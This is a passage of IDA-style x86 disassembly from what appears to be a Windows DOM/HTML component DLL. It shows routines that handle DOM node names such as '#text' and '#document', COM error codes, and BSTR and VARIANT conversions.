		mov	dword ptr [ebp-20h], 1
		jmp	loc_69B40DB0
; ---------------------------------------------------------------------------


loc_69B40D00:				; CODE XREF: sub_69B40CBC+36j
		cmp	dword ptr [edi+34h], 0Fh
		jz	short loc_69B40D12


loc_69B40D06:				; CODE XREF: sub_69B40CBC+23j
					; sub_69B40CBC+2Aj
		mov	dword ptr [ebp-20h], 80070057h
		jmp	loc_69B40DB0
; ---------------------------------------------------------------------------


loc_69B40D12:				; CODE XREF: sub_69B40CBC+48j
		push	eax
		push	esi
		lea	ecx, [ebp-34h]
		call	sub_69B3FBF7
		cmp	[ebp-30h], bl
		jnz	short loc_69B40D3A
		lea	ecx, [ebp-34h]
		call	sub_69B4637D
		push	esi
		call	dword_69B92944


loc_69B40D30:				; CODE XREF: sub_69B40CBC+1Bj
		mov	eax, 80004005h
		jmp	loc_69B40DBC
; ---------------------------------------------------------------------------


loc_69B40D3A:				; CODE XREF: sub_69B40CBC+63j
		mov	[ebp-4], ebx
		mov	esi, [edi+20h]
		mov	[ebp-38h], esi
		push	dword ptr [edi+34h] ; int
		push	dword ptr [ebp+0Ch] ; lpString
		mov	edi, esi
		mov	ebx, [ebp+10h]
		call	sub_69B40B8C
		mov	edi, eax
		mov	[ebp-3Ch], edi
		test	edi, edi
		jz	short loc_69B40D74
		mov	ecx, edi
		call	sub_69B48B01
		mov	ecx, [ebp+14h]
		mov	[ecx], eax
		push	1
		push	edi
		mov	ecx, esi
		call	sub_69B3D570
		jmp	short loc_69B40DA4
; ---------------------------------------------------------------------------


loc_69B40D74:				; CODE XREF: sub_69B40CBC+9Ej
		mov	eax, [ebp+14h]
		and	dword ptr [eax], 0
		mov	dword ptr [ebp-20h], 1
		jmp	short loc_69B40DA4
; ---------------------------------------------------------------------------


loc_69B40D83:				; DATA XREF: .text:69B40DCCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B40D8C:				; DATA XREF: .text:69B40DD0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-20h], eax


loc_69B40DA4:				; CODE XREF: sub_69B40CBC+B6j
					; sub_69B40CBC+C5j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-34h]
		call	sub_69B4637D


loc_69B40DB0:				; CODE XREF: sub_69B40CBC+3Fj
					; sub_69B40CBC+51j
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-20h]


loc_69B40DBC:				; CODE XREF: sub_69B40CBC+79j
		call	sub_69B1853C
		retn	10h
sub_69B40CBC	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B40DC8	dd 0FFFFFFFFh			dd offset loc_69B40D83
		dd offset loc_69B40D8C

; =============== S U B	R O U T	I N E =======================================



sub_69B40DD4	proc near		; CODE XREF: sub_69B437E7+Fp

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi+8], offset dword_69B98AD4
		push	off_69B98AD8
		lea	ecx, [esi+0Ch]
		call	sub_69B19B94
		call	sub_69B1E031
		mov	eax, esi
		pop	esi
		retn	4
sub_69B40DD4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B40DFB	proc near		; CODE XREF: sub_69B41554+25p
					; sub_69B41BEC+25p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	esi, ecx
		lea	ecx, [edi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	[esp+0Ch+arg_0]
		lea	ecx, [esi+8]
		call	sub_69B1A8C7
		push	dword ptr [edi+1Ch]
		mov	ecx, esi
		push	0
		push	[esp+10h+arg_0]
		call	sub_69B4639C
		pop	edi
		mov	eax, esi
		pop	esi
		retn	8
sub_69B40DFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B40E2F	proc near		; CODE XREF: sub_69B4122C+23p
					; sub_69B41290+2Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	esi, ecx
		lea	ecx, [edi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	[esp+0Ch+arg_0]
		lea	ecx, [esi+4]
		call	sub_69B1A8C7
		push	dword ptr [edi+1Ch]
		mov	ecx, esi
		push	0
		push	[esp+10h+arg_0]
		call	sub_69B18B65
		pop	edi
		mov	eax, esi
		pop	esi
		retn	8
sub_69B40E2F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B40E63	proc near		; CODE XREF: sub_69B40E6F+5Ap
					; sub_69B4389D+20p
		push	0
		add	ecx, 1Ch
		push	ecx
		call	sub_69B17320
		retn
sub_69B40E63	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B40E6F	proc near		; CODE XREF: sub_69B4386B+5j
					; sub_69B4387F+5j ...
		push	38h
		push	offset dword_69B40F70
		call	sub_69B19C5C
		mov	esi, [ebp+8]
		lea	edi, [esi+0Ch]
		mov	ecx, edi
		call	sub_69B1906C
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	loc_69B40F61
		call	dword_69B92948
		mov	[ebp-20h], eax
		test	eax, eax
		jnz	short loc_69B40EAA
		mov	eax, 80004005h
		jmp	loc_69B40F64
; ---------------------------------------------------------------------------


loc_69B40EAA:				; CODE XREF: sub_69B40E6F+2Fj
		mov	ecx, edi
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-20h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B1A8C7
		and	dword ptr [ebp-4], 0
		mov	ebx, [esi+14h]
		mov	[ebp-30h], ebx
		mov	ecx, esi
		call	sub_69B40E63
		test	bl, 2
		jz	short loc_69B40F2A
		test	bl, 4
		mov	dword ptr [ebp-34h], offset dword_69B95AA0
		jnz	short loc_69B40EE6
		mov	dword ptr [ebp-34h], offset dword_69B95A90


loc_69B40EE6:				; CODE XREF: sub_69B40E6F+6Ej
		xor	edi, edi
		mov	[ebp-38h], edi


loc_69B40EEB:				; CODE XREF: sub_69B40E6F+B9j
		cmp	dword ptr [ebp-38h], 4
		jge	short loc_69B40F0E
		mov	eax, [ebp-34h]
		cmp	[eax], edi
		jnz	short loc_69B40F21
		push	edi
		push	esi
		push	eax
		call	dword_69B92950	; InterlockedCompareExchange
		test	eax, eax
		jnz	short loc_69B40F21
		call	sub_69B2C65C
		cmp	dword ptr [ebp-38h], 4


loc_69B40F0E:				; CODE XREF: sub_69B40E6F+80j
		jnz	short loc_69B40F46
		mov	[ebp-3Ch], esi
		mov	[ebp-40h], esi
		cmp	esi, edi
		jz	short loc_69B40F46
		lea	ecx, [esi+0Ch]
		mov	eax, [ecx]
		jmp	short loc_69B40F34
; ---------------------------------------------------------------------------


loc_69B40F21:				; CODE XREF: sub_69B40E6F+87j
					; sub_69B40E6F+94j
		add	dword ptr [ebp-34h], 4
		inc	dword ptr [ebp-38h]
		jmp	short loc_69B40EEB
; ---------------------------------------------------------------------------


loc_69B40F2A:				; CODE XREF: sub_69B40E6F+62j
		mov	[ebp-44h], esi
		mov	[ebp-48h], esi
		mov	eax, [edi]
		mov	ecx, edi


loc_69B40F34:				; CODE XREF: sub_69B40E6F+B0j
		push	1
		call	dword ptr [eax]
		jmp	short loc_69B40F46
; ---------------------------------------------------------------------------


loc_69B40F3A:				; DATA XREF: .text:69B40F74o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B40F43:				; DATA XREF: .text:69B40F78o
		mov	esp, [ebp-18h]


loc_69B40F46:				; CODE XREF: sub_69B40E6F:loc_69B40F0Ej
					; sub_69B40E6F+A9j ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1976C
		cmp	dword ptr [ebp-20h], 0
		jz	short loc_69B40F61
		push	dword ptr [ebp-20h]
		call	dword_69B92944


loc_69B40F61:				; CODE XREF: sub_69B40E6F+1Ej
					; sub_69B40E6F+E7j
		mov	eax, [ebp-1Ch]


loc_69B40F64:				; CODE XREF: sub_69B40E6F+36j
		call	sub_69B1853C
		retn	4
sub_69B40E6F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B40F70	dd 0FFFFFFFFh			dd offset loc_69B40F3A
		dd offset loc_69B40F43

; =============== S U B	R O U T	I N E =======================================



sub_69B40F7C	proc near		; CODE XREF: sub_69B42C6C+58p
		mov	ecx, [ecx+1Ch]
		mov	eax, [ecx]
		jmp	dword ptr [eax+0B4h]
sub_69B40F7C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B40F87	proc near		; CODE XREF: .text:69B43866j
					; .text:69B4387Aj
					; DATA XREF: ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		call	dword_69B92948
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B40FA1
		mov	eax, 80004005h
		jmp	short loc_69B40FE0
; ---------------------------------------------------------------------------


loc_69B40FA1:				; CODE XREF: sub_69B40F87+11j
		push	esi
		mov	esi, [ebp+arg_0]
		lea	ecx, [esi+0Ch]
		call	sub_69B87FDC
		push	eax
		push	ebx
		lea	ecx, [ebp+var_C]
		call	sub_69B1A8C7
		push	[ebp+arg_8]
		mov	ecx, [esi+1Ch]
		push	[ebp+arg_4]
		push	0
		push	0
		push	esi
		push	0
		call	sub_69B1C04C
		lea	ecx, [ebp+var_C]
		mov	esi, eax
		call	sub_69B1976C
		push	ebx
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B40FE0:				; CODE XREF: sub_69B40F87+18j
		pop	ebx
		leave
		retn	0Ch
sub_69B40F87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B40FE5	proc near		; CODE XREF: Ordinal7+Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	esi, ecx
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B40FFF
		mov	eax, 80004005h
		jmp	short loc_69B41075
; ---------------------------------------------------------------------------


loc_69B40FFF:				; CODE XREF: sub_69B40FE5+11j
		mov	esi, [esi+1Ch]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+0B4h]
		mov	eax, [eax+4Ch]
		cmp	esi, eax
		jnz	short loc_69B4101B
		mov	eax, [ebp+arg_4]
		or	dword ptr [eax], 0FFFFFFFFh
		jmp	short loc_69B4106C
; ---------------------------------------------------------------------------


loc_69B4101B:				; CODE XREF: sub_69B40FE5+2Cj
		mov	ecx, [ebp+arg_0]
		test	ecx, ecx
		jz	short loc_69B4102F
		cmp	[ecx+1Ch], esi
		jnz	short loc_69B4102F
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		jmp	short loc_69B4106C
; ---------------------------------------------------------------------------


loc_69B4102F:				; CODE XREF: sub_69B40FE5+3Bj
					; sub_69B40FE5+40j
		mov	ecx, [esi+8]
		shr	ecx, 17h
		test	cl, 1
		jz	short loc_69B4105C
		mov	esi, [esi+18h]
		mov	ecx, [ebp+arg_4]
		mov	eax, esi
		shr	eax, 0Ah
		imul	eax, 190h
		and	esi, 3FFh
		lea	eax, [eax+esi-190h]
		mov	[ecx], eax
		jmp	short loc_69B4106C
; ---------------------------------------------------------------------------


loc_69B4105C:				; CODE XREF: sub_69B40FE5+53j
		mov	ecx, esi
		sub	ecx, eax
		mov	eax, [ebp+arg_4]
		mov	[eax], ecx
		mov	ecx, esi
		call	sub_69B1DE55


loc_69B4106C:				; CODE XREF: sub_69B40FE5+34j
					; sub_69B40FE5+48j ...
		push	edi
		call	dword_69B92944
		xor	eax, eax


loc_69B41075:				; CODE XREF: sub_69B40FE5+18j
		pop	edi
		pop	esi
		pop	ebp
		retn	8
sub_69B40FE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4107B	proc near		; CODE XREF: sub_69B43889+5j
					; DATA XREF: .text:69B1250Co

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B41092
		mov	eax, 80004005h
		jmp	short loc_69B410F5
; ---------------------------------------------------------------------------


loc_69B41092:				; CODE XREF: sub_69B4107B+Ej
		push	esi
		push	0
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	20h
		push	offset off_69B986D0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_69B2CA1A
		mov	esi, eax
		cmp	esi, 80020006h
		jnz	short loc_69B410EB
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+1Ch]
		movzx	eax, byte ptr [eax+0Bh]
		and	eax, 1Fh
		lea	eax, [eax+eax*4]
		lea	eax, dword_69B98AF8[eax*8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_69B410EB
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_69B2CF59
		mov	esi, eax


loc_69B410EB:				; CODE XREF: sub_69B4107B+3Aj
					; sub_69B4107B+57j
		push	edi
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B410F5:				; CODE XREF: sub_69B4107B+15j
		pop	edi
		pop	ebp
		retn	18h
sub_69B4107B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B410FA(int, LPCWSTR strIn, int, LPCWSTR psz2)

sub_69B410FA	proc near		; DATA XREF: .text:69B27FD4o

arg_0		= dword	ptr  8
strIn		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
psz2		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B41111
		mov	eax, 80004005h
		jmp	short loc_69B4117B
; ---------------------------------------------------------------------------


loc_69B41111:				; CODE XREF: sub_69B410FA+Ej
		xor	eax, eax
		mov	al, byte ptr [ebp+arg_8]
		push	esi
		and	eax, 0FFFFFF01h
		push	eax
		push	[ebp+psz2]
		lea	eax, [ebp+strIn]
		push	409h
		push	20h
		push	offset off_69B986D0
		push	1
		push	eax
		call	sub_69B2CA1A
		mov	esi, eax
		cmp	esi, 80020006h
		jnz	short loc_69B41171
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		movzx	eax, byte ptr [eax+0Bh]
		and	eax, 1Fh
		lea	eax, [eax+eax*4]
		lea	eax, dword_69B98AF8[eax*8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_69B41171
		push	[ebp+psz2]	; psz2
		push	[ebp+arg_8]	; int
		push	[ebp+strIn]	; strIn
		push	0		; char
		push	eax		; int
		call	sub_69B2CFAA
		mov	esi, eax


loc_69B41171:				; CODE XREF: sub_69B410FA+45j
					; sub_69B410FA+62j
		push	edi
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B4117B:				; CODE XREF: sub_69B410FA+15j
		pop	edi
		pop	ebp
		retn	10h
sub_69B410FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B41180	proc near		; CODE XREF: sub_69B43893+5j
					; sub_69B56895+42p
					; DATA XREF: ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		push	ecx
		call	dword_69B92948
		test	eax, eax
		mov	[ebp+var_4], eax
		jnz	short loc_69B4119B
		mov	eax, 80004005h
		jmp	locret_69B41228
; ---------------------------------------------------------------------------


loc_69B4119B:				; CODE XREF: sub_69B41180+Fj
		push	ebx
		mov	ebx, [ebp+arg_4]
		cmp	ebx, 5Dh
		push	esi
		push	edi
		mov	edi, 80020003h
		jle	short loc_69B411F5
		cmp	ebx, 8Fh
		jge	short loc_69B411F5
		mov	esi, [ebp+arg_0]
		mov	ecx, esi
		call	sub_69B3FC6D
		mov	ecx, [esi+1Ch]
		movzx	ecx, byte ptr [ecx+0Bh]
		and	ecx, 1Fh
		lea	esi, [ecx+ecx*4]
		lea	esi, dword_69B98AF8[esi*8]
		cmp	dword ptr [esi+4], 0
		jz	short loc_69B4121A
		push	[ebp+arg_20]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	eax
		call	dword ptr [esi+24h]
		push	eax
		push	esi
		jmp	short loc_69B41213
; ---------------------------------------------------------------------------


loc_69B411F5:				; CODE XREF: sub_69B41180+29j
					; sub_69B41180+31j
		push	[ebp+arg_20]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_69B98AD4


loc_69B41213:				; CODE XREF: sub_69B41180+73j
		call	sub_69B2D258
		mov	edi, eax


loc_69B4121A:				; CODE XREF: sub_69B41180+55j
		push	[ebp+var_4]
		call	dword_69B92944
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx

locret_69B41228:			; CODE XREF: sub_69B41180+16j
		leave
		retn	24h
sub_69B41180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B4122C	proc near		; CODE XREF: sub_69B59331+Cp
					; DATA XREF: .text:69B12520o

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B41246
		mov	eax, 80004005h
		jmp	short loc_69B4128B
; ---------------------------------------------------------------------------


loc_69B41246:				; CODE XREF: sub_69B4122C+11j
		push	esi
		mov	esi, [ebp+arg_0]
		push	esi
		push	edi
		lea	ecx, [ebp+var_10]
		call	sub_69B40E2F
		mov	eax, [esi+1Ch]
		movzx	eax, byte ptr [eax+0Bh]
		and	eax, 1Fh
		mov	eax, dword_69B984E8[eax*4]
		xor	esi, esi
		test	eax, eax
		jl	short loc_69B41272
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_69B41279
; ---------------------------------------------------------------------------


loc_69B41272:				; CODE XREF: sub_69B4122C+3Dj
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		inc	esi


loc_69B41279:				; CODE XREF: sub_69B4122C+44j
		lea	ecx, [ebp+var_10]
		call	sub_69B18EBA
		push	edi
		call	dword_69B92944
		mov	eax, esi
		pop	esi


loc_69B4128B:				; CODE XREF: sub_69B4122C+18j
		pop	edi
		leave
		retn	8
sub_69B4122C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B41290	proc near		; CODE XREF: sub_69B59345+Cp
					; DATA XREF: .text:69B12514o
		push	34h
		push	offset dword_69B41428
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B412B5
		mov	eax, 80004005h
		jmp	loc_69B4139D
; ---------------------------------------------------------------------------


loc_69B412B5:				; CODE XREF: sub_69B41290+19j
		mov	esi, [ebp+8]
		push	esi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		mov	edi, [ebp+0Ch]
		cmp	edi, ebx
		jnz	short loc_69B412D3
		mov	ebx, 80070057h
		jmp	loc_69B4138A
; ---------------------------------------------------------------------------


loc_69B412D3:				; CODE XREF: sub_69B41290+37j
		mov	[ebp-4], ebx
		mov	ecx, [esi+1Ch]
		mov	[ebp-30h], ecx
		mov	[ebp-34h], ecx
		mov	[ebp-38h], ebx
		xor	eax, eax
		mov	[ebp-3Ch], eax
		xor	edx, edx
		mov	dl, [ecx+0Bh]
		and	edx, 1Fh
		dec	edx
		jz	short loc_69B4133A
		dec	edx
		jz	short loc_69B41331
		dec	edx
		jz	short loc_69B41328
		sub	edx, 3
		jz	short loc_69B4131F
		sub	edx, 0Bh
		jz	short loc_69B41316
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
		mov	[ebp-40h], eax
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		mov	[ebp-3Ch], eax
		jmp	short loc_69B41341
; ---------------------------------------------------------------------------


loc_69B41316:				; CODE XREF: sub_69B41290+70j
		mov	dword ptr [ebp-38h], offset aDocumentFragme ; "#document-fragment"
		jmp	short loc_69B41341
; ---------------------------------------------------------------------------


loc_69B4131F:				; CODE XREF: sub_69B41290+6Bj
		mov	dword ptr [ebp-38h], offset aCdataSection ; "#cdata-section"
		jmp	short loc_69B41341
; ---------------------------------------------------------------------------


loc_69B41328:				; CODE XREF: sub_69B41290+66j
		mov	dword ptr [ebp-38h], offset aDocument ;	"#document"
		jmp	short loc_69B41341
; ---------------------------------------------------------------------------


loc_69B41331:				; CODE XREF: sub_69B41290+63j
		mov	dword ptr [ebp-38h], offset aComment_0 ; "#comment"
		jmp	short loc_69B41341
; ---------------------------------------------------------------------------


loc_69B4133A:				; CODE XREF: sub_69B41290+60j
		mov	dword ptr [ebp-38h], offset aText_0 ; "#text"


loc_69B41341:				; CODE XREF: sub_69B41290+84j
					; sub_69B41290+8Dj ...
		cmp	dword ptr [ebp-38h], 0
		jz	short loc_69B41352
		push	dword ptr [ebp-38h] ; OLECHAR *
		call	SysAllocString
		jmp	short loc_69B41362
; ---------------------------------------------------------------------------


loc_69B41352:				; CODE XREF: sub_69B41290+B5j
		mov	ecx, [eax+0Ch]
		mov	[ebp-44h], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen


loc_69B41362:				; CODE XREF: sub_69B41290+C0j
		mov	[edi], eax
		jmp	short loc_69B41386
; ---------------------------------------------------------------------------


loc_69B41366:				; DATA XREF: .text:69B4142Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B4136F:				; DATA XREF: .text:69B41430o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B41386:				; CODE XREF: sub_69B41290+D4j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B4138A:				; CODE XREF: sub_69B41290+3Ej
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B4139D:				; CODE XREF: sub_69B41290+20j
		call	sub_69B1853C
		retn	8
sub_69B41290	endp

; ---------------------------------------------------------------------------
		align 4
aText_0:				; DATA XREF: sub_69B41290:loc_69B4133Ao
		unicode	0, <#text>,0
aComment_0:				; DATA XREF: sub_69B41290:loc_69B41331o
		unicode	0, <#comment>,0
		align 4
aDocument:				; DATA XREF: sub_69B41290:loc_69B41328o
		unicode	0, <#document>,0
aCdataSection:				; DATA XREF: sub_69B41290:loc_69B4131Fo
		unicode	0, <#cdata-section>,0
		align 4
aDocumentFragme:			; DATA XREF: sub_69B41290:loc_69B41316o
		unicode	0, <#document-fragment>,0
		align 8
dword_69B41428	dd 0FFFFFFFFh			dd offset loc_69B41366
		dd offset loc_69B4136F

; =============== S U B	R O U T	I N E =======================================



sub_69B41434	proc near		; CODE XREF: sub_69B59359+Cp
					; DATA XREF: .text:69B12518o
		push	30h
		push	offset dword_69B41548
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		test	eax, eax
		jnz	short loc_69B41457
		mov	eax, 80004005h
		jmp	loc_69B4151C
; ---------------------------------------------------------------------------


loc_69B41457:				; CODE XREF: sub_69B41434+17j
		mov	edi, [ebp+8]
		push	edi
		push	eax
		lea	ecx, [ebp-2Ch]
		call	sub_69B40E2F
		and	dword ptr [ebp-30h], 0
		mov	esi, [ebp+0Ch]
		test	esi, esi
		jnz	short loc_69B4147B
		mov	dword ptr [ebp-30h], 80070057h
		jmp	loc_69B41508
; ---------------------------------------------------------------------------


loc_69B4147B:				; CODE XREF: sub_69B41434+39j
		xor	ebx, ebx
		inc	ebx
		mov	[esi], bx
		xor	eax, eax
		mov	[esi+8], eax
		mov	[ebp-4], eax
		mov	ecx, [edi+1Ch]
		mov	[ebp-34h], ecx
		mov	[ebp-38h], ecx
		mov	[ebp-3Ch], eax
		xor	edx, edx
		mov	dl, [ecx+0Bh]
		and	edx, 1Fh
		cmp	edx, 12h	; switch 19 cases
		ja	short loc_69B414C0 ; default
					; jumptable 69B414A9 cases 9,10,12-14
		movzx	edx, ds:byte_69B41530[edx]
		jmp	ds:off_69B41524[edx*4] ; switch	jump


loc_69B414B0:				; DATA XREF: .text:off_69B41524o
		mov	[esi], bx	; jumptable 69B414A9 cases 0,3,4,7,8,11,16,17
		jmp	short loc_69B414C0 ; default
					; jumptable 69B414A9 cases 9,10,12-14
; ---------------------------------------------------------------------------


loc_69B414B5:				; CODE XREF: sub_69B41434+75j
					; DATA XREF: .text:off_69B41524o
		push	ebx		; jumptable 69B414A9 cases 1,2,5,6,15,18
		push	ebx
		push	ebx
		call	sub_69B4AAFC
		mov	[ebp-3Ch], eax


loc_69B414C0:				; CODE XREF: sub_69B41434+6Cj
					; sub_69B41434+75j ...
		test	eax, eax	; default
					; jumptable 69B414A9 cases 9,10,12-14
		jz	short loc_69B414DE
		mov	word ptr [esi],	8
		mov	ecx, [eax+0Ch]
		mov	[ebp-40h], ecx
		push	dword ptr [eax+8] ; UINT
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[esi+8], eax
		jmp	short loc_69B41504
; ---------------------------------------------------------------------------


loc_69B414DE:				; CODE XREF: sub_69B41434+8Ej
		mov	[ebp-30h], ebx
		jmp	short loc_69B41504
; ---------------------------------------------------------------------------


loc_69B414E3:				; DATA XREF: .text:69B4154Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B414EC:				; DATA XREF: .text:69B41550o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	[ebp-30h], eax


loc_69B41504:				; CODE XREF: sub_69B41434+A8j
					; sub_69B41434+ADj
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B41508:				; CODE XREF: sub_69B41434+42j
		lea	ecx, [ebp-2Ch]
		call	sub_69B18EBA
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-30h]


loc_69B4151C:				; CODE XREF: sub_69B41434+1Ej
		call	sub_69B1853C
		retn	8
sub_69B41434	endp

; ---------------------------------------------------------------------------
off_69B41524	dd offset loc_69B414B0	; DATA XREF: sub_69B41434+75r
		dd offset loc_69B414B5	; jump table for switch	statement
		dd offset loc_69B414C0
byte_69B41530	db	0,     1,     1,     0 ; DATA XREF: sub_69B41434+6Er
		db	0,     1,     1,     0 ; indirect table	for switch statement
		db	0,     2,     2,     0
		db	2,     2,     2,     1
		db	0,     0,     1
		align 8
dword_69B41548	dd 0FFFFFFFFh			dd offset loc_69B414E3
		dd offset loc_69B414EC

; =============== S U B	R O U T	I N E =======================================



sub_69B41554	proc near		; CODE XREF: sub_69B5936D+17p
					; DATA XREF: .text:69B1251Co
		push	40h
		push	offset dword_69B41670
		call	sub_69B19C5C
		call	dword_69B92948
		mov	edi, eax
		mov	[ebp-1Ch], edi
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_69B41592
		mov	esi, [ebp+8]
		push	esi
		push	edi
		lea	ecx, [ebp-30h]
		call	sub_69B40DFB
		cmp	[ebp-2Ch], bl
		jnz	short loc_69B4159C
		lea	ecx, [ebp-30h]
		call	sub_69B4637D
		push	edi
		call	dword_69B92944


loc_69B41592:				; CODE XREF: sub_69B41554+1Bj
		mov	eax, 80004005h
		jmp	loc_69B41668
; ---------------------------------------------------------------------------


loc_69B4159C:				; CODE XREF: sub_69B41554+2Dj
		mov	word ptr [ebp-40h], 1
		push	8		; vt
		push	ebx		; wFlags
		call	ds:GetThreadLocale	; GetThreadLocale
		push	eax		; lcid
		lea	eax, [ebp+0Ch]
		push	eax		; pvarSrc
		lea	eax, [ebp-40h]
		push	eax		; pvargDest
		call	VariantChangeTypeEx
		mov	edi, eax
		cmp	edi, ebx
		jnz	loc_69B4164B
		mov	[ebp-4], ebx
		mov	eax, [esi+1Ch]
		mov	[ebp-44h], eax
		mov	[ebp-48h], eax
		xor	ecx, ecx
		mov	cl, [eax+0Bh]
		and	ecx, 1Fh
		xor	edx, edx
		inc	edx
		shl	edx, cl
		mov	ecx, eax
		test	dx, 8066h
		jz	short loc_69B4160C
		call	sub_69B48CEA
		mov	eax, [ebp-38h]
		mov	[ebp-4Ch], eax
		mov	esi, [esi+1Ch]
		mov	[ebp-50h], esi
		push	ebx
		push	eax		; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	dword ptr [ebp-4Ch]
		mov	ecx, esi
		call	sub_69B4CD25
